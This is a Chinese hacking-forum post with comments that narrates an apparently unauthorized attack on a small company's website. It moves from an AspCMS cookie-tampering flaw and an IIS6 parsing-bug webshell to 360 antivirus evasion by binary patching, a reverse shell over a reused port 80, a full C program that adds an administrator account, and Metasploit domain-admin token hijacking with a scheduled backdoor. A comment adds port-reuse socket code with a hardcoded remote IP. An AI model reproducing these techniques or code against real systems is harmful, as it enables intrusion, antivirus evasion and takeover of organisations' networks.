获取webshell到内网渗透一条龙

2012-11-07 17:41:27 70 11777
获取webshell到提权到内网渗透一条龙

其实相比起我这个文章来说,我觉得题目更霸气。呵呵。闲话少说,咱们开始今天的文章

0x01、
首先呢 我的目标站是一个小型的工作室公司。比较小。网站是asp cms的asp有一个
比较二蛋的漏洞,上次文章写过了,就不再强调了。我们首先去注册一个用户
然后我们利用谷歌cookie修改插件 我们把值修改为admin



将ID的值修改为1.


这样我们就可以来修改admin的密码了

0x02、
Aspcms拿shell就不写了 模板修改 利用iis6解析漏洞


0x03、
我们来执行一下net user 看一下用户。不成功缺少组建。明显做了手脚


0x04、
再一看发现了360杀毒软件。我不解为什么这么服务器安装360呢?蛋疼
这样呢我们需要反弹一个shell,但是这个shell功能太渣渣。木有这个功能。还有一个问题就是,这个服务器只对外开放了80端口,其他的端口没有开放。且换了个webshell去反弹shell时无法得到回话。这样的话我们就无法得到反弹的shell。但是我们是不是就不能反弹了呢?不然。我们可以来进行端口复用,也就是说我们反弹的shell也通过80端口、所以我们要用个小程序。但是貌似不免杀。我们来免杀一下。免杀360我基本就是加个壳改一下就ok了。好几年不做免杀,这方面都忘记了。

随便找了个壳加了一下,我们把JBE 改为JA 。Ok免杀了

Good,上传到服务器运行一下

接下来就是端口服用了。我们本地监听80.然后发一个数据包到服务器。获得shell

突破360防黑墙我们来添加一个用户。/add 与/ad的性质是一样的。所以我们直接/ad添加 不拦截。当然 你也可以编译一下C代码
//Code by Pnig0s1992  
//Date:2012,3,17  
#include <stdio.h>  
#include <Windows.h>  
#include <lm.h>  

#pragma comment(lib,"Netapi32.lib")  

int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName);
int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName);
BOOL ImprovePriv(LPWSTR name);

int main(INT argc,char * argv[])
{
BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME);
if(argc < 3)
{
printf("\nCode by Pnig0s1992");
printf("\nUsage:");
printf("\n\t%s UserName Password",argv[0]);
printf("\n\tRemark:Default add to Group:Administrators.");
return -1;
}
if(bResult)
{
printf("Successfully promote priv!");
}else
{
printf("Failed promote priv.");
return -1;
}
int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0);
wchar_t *wUserName =new wchar_t[Namesize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize))
{
return false;
}
int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0);
wchar_t *wPassword =new wchar_t[Passsize+1];
if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize))
{
return false;
}
LPTSTR lpName = wUserName;
LPTSTR lpPassword = wPassword;
LPWSTR lpSevName = NULL;
LPWSTR lpGroupName = L"Administrators";
AddUser(lpName,lpPassword,lpSevName);
SetGroup(lpName,lpSevName,lpGroupName);
return 0;
}

BOOL ImprovePriv(LPWSTR name)
{
HANDLE hToken;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
printf("\nGet process token failed.(%d)",GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid))
{
printf("\nLookup process priv failed.(%d)",GetLastError());
return FALSE;
}
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL))
{
printf("\nAjust process priv failed.(%d)",GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}

int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName)
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
ui.usri1_name = lpUsername;
ui.usri1_password = lpPassword;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError);
if(nStatus == NERR_Success)
{
printf("\nAdd user:%S successfully!",lpUsername);
}else
{
printf("\nAdd user failed:%d.",nStatus);
}
return 0;
}

int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName)
{
NET_API_STATUS nStatus;
LOCALGROUP_MEMBERS_INFO_3 lgui;
lgui.lgrmi3_domainandname = lpUsername;
nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1);

if(nStatus == NERR_Success)
{
printf("\nSuccessfully set USER:%S to GROUP:%S!",lpUsername,lpGroupName);
}else if(nStatus == NERR_GroupNotFound)
{
printf("\nCan't find such a group:%S.",lpGroupName);
}else
{
printf("\nSet GROUP:%S failed.",lpGroupName);
}
return 0;
}
恩。。好我们继续
有了一个用户 我们去嗅探。但是很可惜。啥子都没有。

0x05、
既然没办法 拿咱就在内网渗透上想想办法

我们先生成一个windows可执行后门



然后我们调用模块来监听,获得一个会话



下面我们进行内网渗透,调用一个模块



然后我们查看一下域,找到域管理



我们来劫持域管理



获得shell然后我们再来查看一下域



我们获得域管理的时间



然后我们计划任务 2分钟之后执行我们的后门程序



Ok 获得会话。然后域控你有了,你懂的。

小菜文章,勿喷~勿踩~

关于作者

w1ngs31篇文章782篇回复

评论70次

要评论?请先  登录  或  注册
  • 30楼
    2012-11-8 19:17

    1.端口复用不只是你那一个后门程序。 2.不是特征码免杀。 3.提权一笔带过。但不是没讲清楚。请仔细看。谢谢!

  • 29楼
    2012-11-8 17:13

    貌似权限一步步的,域管理,一说就劫持了,也未免太快了吧~!!端口复用也用过,免杀那个貌似只有一个特征码,还有提权也没讲清楚,你反弹就是最高权限?

  • 28楼
    2012-11-8 15:39

    看起来就非常的高端 ...

  • 27楼
    2012-11-8 14:59

    msf里面有复用iis的代码? 能提权在shell上也能搞,不过用msf渗透还真没玩过

  • 26楼
    2012-11-8 14:27

    真有耐心。。。。。

  • 25楼
    2012-11-8 12:16

    没看到亮点. 域管理既然直接会话... 这是神马人品. 像当初小弟搞某公司的时候 劫持域管理可是用了整整半年啊...

  • 24楼
    2012-11-8 11:30

    复用80端口的工具,不是没有,而是真少见,不知道楼主的那个是不是真的,楼上发的那段代码是复用不了80的,

  • 23楼
    2012-11-8 10:25

    亮点在于没有挂VPN,而且我觉得完全没有必要用MSF吧。。。 提权那块我估计LZ是人品超爆发? 直接当前机器就有域管理员会话? 还有为什么过360那么容易…… msfencode没看到用了很淫荡的编码方式啊

  • 22楼
    2012-11-8 10:21

    怎么得到域管理哈xi的?或者说直接在当前机器就抓到了管理员哈xi? 那个劫持域管理。。用wce也能实现吧。。。。 PS:MSF挂VPN情况下如何把端口反弹回来?我测试做外网的VPN似乎也无法监听到反弹回来的MSF会话。。。 楼主这样不戴套就办事,不怕被查水表?

  • 21楼
    2012-11-7 23:18

    内容很详细,很适合我这个小鸟。

  • 20楼
    2012-11-7 22:41

    看不出亮点,还有 为神马 管理也来.... 我是来打酱油的 端口复用的代码

    #include <stdio.h>       #include <stdlib.h>       #include <unistd.h>       #include <strings.h>       #include <string.h>       #include <sys/types.h>       #include <sys/socket.h>       #include <netinet/in.h>       #include <netdb.h>       //远程服务器端口和IP       #define PORT 1987       #define HOST "192.168.197.118"       //本机服务器端口和IP       #define LOCALPORT 2012       #define LOCALHOST "10.0.2.15"        //线程提供TCP服务器服务,绑定2012端口       void serve_proc(int port)       {               printf("server start listening on port %d\n",port);               int sock_fd;                if ((sock_fd=socket(AF_INET, SOCK_STREAM, 0))==-1){                       printf("socket() error\n");                       exit(1);               }                struct sockaddr_in server, client;               bzero(&server,sizeof(server));               server.sin_family = AF_INET;               server.sin_port = htons(port);               server.sin_addr.s_addr = inet_addr(LOCALHOST);               int reuseport = 1;                //端口设置重用,不然会bind出错               setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&reuseport, sizeof(int));               if (bind(sock_fd, (struct sockaddr *)&server, sizeof(struct sockaddr_in)) < 0){                       perror("bind error");                       exit(-1);               }               if (listen(sock_fd,5) < 0) {                       perror("listen error");                       exit(-1);               }                char recv_buf[100],send_buf[100];               int conn_fd;               int client_size = sizeof(struct sockaddr_in);               while(1){                       conn_fd = accept(sock_fd, (struct sockaddr *)&client, &client_size);                       if (conn_fd < 0){                               perror("accept error");                               exit(-1);                       }                       while(1){                               int recv_num = recv(conn_fd, recv_buf, sizeof(recv_buf), 0);                               if(recv_num < 0){                                       close(conn_fd);exit(-1);                               }                               recv_buf[recv_num] = '\0';                               if(strcmp(recv_buf,"quit")==0){                                       break;                               }                               printf("server get %s\n", recv_buf);                               sprintf(send_buf, "server got %d bytes\n", recv_num);                               int send_num = send(conn_fd, send_buf, strlen(send_buf), 0);                               if(send_num < 0){                                       close(conn_fd);exit(-1);                               }                       }                       close(conn_fd);               }       }        int main(int argc, char *argv[])       {               int sock_fd;               struct sockaddr_in server,client;               int flag = 0;               int reuseport = 1;               int local_port = LOCALPORT;                if ((sock_fd=socket(AF_INET, SOCK_STREAM, 0))==-1){                       printf("socket() error\n");                       exit(1);               }               setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&reuseport, sizeof(int));               //连接其他服务器并发出数据               bzero(&server,sizeof(server));               server.sin_family = AF_INET;               server.sin_port = htons(PORT);               server.sin_addr.s_addr = inet_addr(HOST);                //使用本地指定端口建立TCP连接               struct hostent *he;               he = gethostbyname(LOCALHOST);               bzero(&client,sizeof(client));               client.sin_family = AF_INET;               client.sin_port = htons(local_port);               client.sin_addr = *((struct in_addr *)he->h_addr);;               setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&reuseport, sizeof(int));               if (bind(sock_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in)) < 0){                       perror("bind error");                       exit(-1);               }               if (connect(sock_fd,(struct sockaddr *)&server, sizeof(struct sockaddr)) < 0){                       perror("connect error");                       exit(1);               }                struct sockaddr_in local;               socklen_t local_len = sizeof(local);               //获取TCP连接的本地IP端口信息               getsockname(sock_fd, (struct sockaddr *)&local, &local_len);               char local_ip[100];               inet_ntop(AF_INET, &local.sin_addr, local_ip, sizeof(local_ip));               printf("local host %s and port %d\n", local_ip, ntohs(local.sin_port));               local_port = ntohs(local.sin_port);                //功能一:绑定2012端口提供TCP服务               pthread_t id;               int ret = pthread_create(&id, NULL, (void *)serve_proc, (void *)local_port);               if (ret!=0) {                       perror("create thread error");                       exit(-1);               }                int send_num, recv_num;               char send_buf[100],recv_buf[100];        LBL:               //功能二:使用2012端口充当客户端访问远程TCP服务器               printf("Input MSG: ");               scanf("%s",send_buf);               send_num = send(sock_fd, send_buf, strlen(send_buf), 0);               if (send_num < 0) {                       perror("send error");                       exit(1);               }               goto LBL;       }
    msf 架设内网 方式有很多哦 代理sockte可以 还有VPN也行 不搀和了。闪人.....

  • 19楼
    2012-11-7 22:27

    看你的文章是一种享受

  • 18楼
    2012-11-7 21:53

    LZ,我对你那个复用80端口反弹shell的工具很感兴趣。。。能不能共享一下下

  • 17楼
    2012-11-7 21:44

    跟我的疑问一样,忽然提权了,忽然变linux了,穿越啊。 来回看了三遍,还是没懂,我太菜

  • 16楼
    2012-11-7 21:06

    msf域渗透。

  • 15楼
    2012-11-7 20:28

    怎么个莫名其妙就 windows提完权,就变成linux了?

  • 14楼
    2012-11-7 20:25
  • 13楼
    2012-11-7 20:10

    这还叫小菜啊。。。。T_T

  • 12楼
    2012-11-7 20:09

    端口复用

  • 11楼
    2012-11-7 20:03

    省略。。主要是域。前面我能省的全省了